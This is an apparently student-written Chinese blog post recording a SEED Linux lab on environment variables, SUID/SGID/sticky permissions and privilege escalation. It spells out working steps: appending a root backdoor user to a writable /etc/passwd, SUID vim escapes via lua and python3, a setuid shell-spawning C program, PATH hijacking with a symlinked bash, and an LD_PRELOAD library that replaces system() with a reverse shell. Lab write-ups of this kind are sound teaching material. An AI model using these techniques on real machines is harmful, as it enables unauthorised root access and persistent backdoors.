这篇文章发表于 603 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

本文主要是对最近一次作业的简单记录。

shell变量,又称本地变量,包括私有变量以及用户变量(也就是环境变量),shell变量仅在本shell中起作用;环境变量,又称用户变量,与shell无关。简而言之,shell变量包含了环境变量,而环境变量的作用域大于shell变量。shell变量可直接用set来查看,而环境变量可直接用env来查看。

1
2
seed@VM:~$ echo $PATH
/home/seed/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:.:/snap/bin:/usr/lib/jvm/java-8-oracle/bin:/usr/lib/jvm/java-8-oracle/db/bin:/usr/lib/jvm/java-8-oracle/jre/bin:/home/seed/android/android-sdk-linux/tools:/home/seed/android/android-sdk-linux/platform-tools:/home/seed/android/android-ndk/android-ndk-r8d:/home/seed/.local/bin

或者使用export命令也可。

修改PATH环境变量一般直接export PATH="...." ,或者直接写在/etc/profile中,利用source命令来使用(source命令也可以写于.bashrc这类文件中)。

常用在环境变量劫持和rbash中。

特殊权限SUID

当 s 出现在文件拥有者的 x 权限上时称为SUID,也称SETUID。

设置相关权限:

1
2
3
4
5
#设置前:   -rwxrwxr-x
sudo chmod 4775 exec #或者sudo chmod u+s exec
#设置后: -rwsrwxr-x
sudo chmod 775 exec
#设置后: -rwxrwxr-x #或者sudo chmod u-s exec

因为相关的程序在运行时会拥有root权限,这个常用于Linux提权。 相关查询命令: find / -user root -perm -4000 2>/dev/null

相关网站与好文章:

https://gtfobins.github.io/

https://www.secshi.com/29335.html

https://www.drdobbs.com/dangers-of-suid-shell-scripts/199101190

http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Set_UID.pdf

特殊权限SGID

当 s 标志出现在用户组的 x 权限时称为 SGID。

设置相关权限:

1
2
sudo chmod g+s exec
sudo chmod g-s exec

相关查询命令: find / -perm -g=s -type f 2>/dev/null

特殊权限SBIT

当s/t标志出现在目录其他用户的x权限上时称为SBIT。SBIT 对目录的作用是:当用户在该目录下创建新文件或目录时,仅有自己和 root 才有权力删除。

设置相关权限:

1
2
sudo chmod o+t exec
sudo chmod o-t exec

export命令

命令export PATH=.:$PATH就是将当前位置归入PATH中,这个命令存在着一定风险,事实上结合软链接它有可能完成劫持,比如:

1
2
3
ln -s /bin/bash ls
export PATH=.:$PATH
./an_elf_runs_cmd_ls #一般可结合SUID完成提权

请注意这个命令和命令export PATH=$(pwd):$PATH存在着区别。

接下来聊一聊这些权限与Linux提权。这里额外提供了三个基本操作。

一 | 滥设权限

这部分和使用SUID提权没有多少关系,放在这里纯粹是为后面做一些铺垫。

比如说某些人修改了/etc/passwd的权限(或者是由于umask配置出错,可检查/etc/profile),让上面的任何用户都能够读写。这里直接修改该文件即可完成后门用户的添加,根本不需要去修改/etc/shadow文件。

1
2
3
4
5
6
7
8
9
10
11
###前期准备
sudo cp /etc/passwd .
sudo chmod 666 /etc/passwd

###修改文件
openssl passwd -1 -salt "salt" password
#output: $1$salt$qJH7.N4xYta3aEG/dfqo/0
sudo vim /etc/passwd #change the passwd file
#add: hacker:$1$salt$qJH7.N4xYta3aEG/dfqo/0:0:0:root:/root:/bin/bash

su hacker # password

二 | 利用SUID

1
2
3
4
5
6
7
8
9
10
11
12
find / -user root -perm -4000 2>/dev/null
which vim
ls -la /usr/bin/vim
sudo chmod u+s /usr/bin/vim
find / -user root -perm -4000 2>/dev/null
ls -la /usr/bin/vim
vim /etc/shadow
### 虽然能够看到,但是你很快会发现无法修改文件,也就是说现在的用户并不具备root权限
### 一般的提权方式 :set shell=/bin/sh
### 一般的提权方式 :shell
### 然而在这个系统中不会奏效
# https://gtfobins.github.io/

因为较高版本Linux对真实UID和事实UID动了些手脚(导致更安全了……),如果启动bash时的Effective UIDReal UID不相同,而且没有使用-p参数(当实际和有效的用户ID不匹配时打开,禁用$ENV文件的处理和外壳程序的导入功能,关闭此选项将导致有效的uid和gid设置为实际的uid和gid),则bash会将Effective UID还原成Real UID相关文章可参见《谈一谈Linux与suid提权》,其实dash也是类似的,需要加上-p参数。

这里类似地,我们使用lua或是python3来完成写入root权限,注意,这里必须加上SETUID,否则系统的安全机制会导致提权失败。

1
2
3
vim -c ':lua local file = io.open("/etc/passwd", "a");file:write("hacker:$1$salt$qJH7.N4xYta3aEG/dfqo/0:0:0:root:/root:/bin/bash\n");file:close()'
vim -c ':python3 import os;os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' #该命令无法获取到root权限,因为有保护
vim -c ':python3 import os;os.setuid(0);os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

可见目前的Linux环境比以前的版本安全多了,根据之前的理解,这里再编译一个具有SUID的程序来完成实验:

1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <unistd.h>
int main(){
setuid(0);
setgid(0);
system("/bin/dash");
}
//编译的时候请使用sudo

可以清楚地看到我们现在是root权限。

三 | 环境变量劫持

比如说我们要劫持这样的一个程序a:

1
2
3
4
5
6
7
#include <stdlib.h>
#include <unistd.h>
int main(){
setuid(0);
setgid(0);
system("ifconfig");
}

怎么搞?

可以利用实验二中的程序,命名为ifconfig,然后进行环境变量劫持,这里劫持是对相对路径的劫持。

1
export PATH=/tmp:$PATH

这个是为了权限的考虑。

其实没必要使用实验二中的程序,直接使用软链接即可完成攻击。

1
2
3
ln -s /bin/bash ifconfig   #rm ifconfig
export PATH=.:$PATH
./a

继续加大难度。如果写程序的人考虑到了相对路径带来的安全隐患,比如将文件修改成为了下面这样的具有SUID的程序b,我们又该怎么办呢?

1
2
3
4
5
6
7
#include <stdlib.h>
#include <unistd.h>
int main(){
setuid(0);
setgid(0);
system("/usr/sbin/ifconfig"); //事后 sudo chmod u+s b 来添加SETUID
}

这里的权限其实没有特别大的区别,关键是system里面调用的命令被换了。

就可以尝试在变量LD_PRELOAD上面做手脚,因为它出现在了env的返回结果之中,并且可以为用户所控制,这里的侧重点在于用户该如何控制并影响程序的行为。经过思考与尝试后,个人感觉无法在seed环境下通过程序b提权(在一些老旧的bash版本或是古老的Linux环境中有办法成功(或许特殊的条件竞争的情况也可能成功),详情参见此文章),因为sudo env的返回结果和env的返回结果大相径庭(这是因为高版本对suid的程序进行了check,环境变量用户也就不可控了),也就没办法劫持(除非root设置了LD_PRELOAD路径,并且用户在该路径中可写),但是我能够改变未设置SUID的程序的行为。

一般来说,程序的链接分为静态链接和动态链接,静态链接就是把所有所引用到的函数或变量全部地编译到可执行文件中。动态链接则不会把函数编译到可执行文件中,而是在程序运行时动态地载入函数库,也就是运行链接。对于GCC而言,默认情况下,所编译的程序中对标准C函数的链接,都是通过动态链接方式来链接libc.so.6这个函数库的。

这里借用该文章来编写一个hjack.c的文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>

int tcp_port = 36000;
char *ip = "127.0.0.1";

void reverse_shell(){
int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);

fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}

dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}
return;
}

int system(char * String)
{
setuid(0);
setgid(0);
reverse_shell();
return 0;
}
//gcc -shared -fPIC hjack.c -o hjack.so

然后生成.so文件准备劫持,指定export LD_PRELOAD="$(pwd)/hjack.so",可以使用ldd b来查看其对应的加载顺序,可以使用unset LD_PRELOAD来解除。

这里生成的程序不要设置SUID,可以先运行一下,能够得到如下结果——原本的ifconfig的结果变成了反弹shell。

设置root所有和SUID之后重新运行,发现只会弹出正常的ifconfig的内容。使用sudo ldd bldd b的结果不同,应该就是造成劫持失败的原因。然而缺乏权限,用户一般没办法修改。

另外和LD_PRELOAD类似,还有 LD_AUDItLD_DEBUG_OUTPUT 也可以在历史版本的linux中能够做到提权。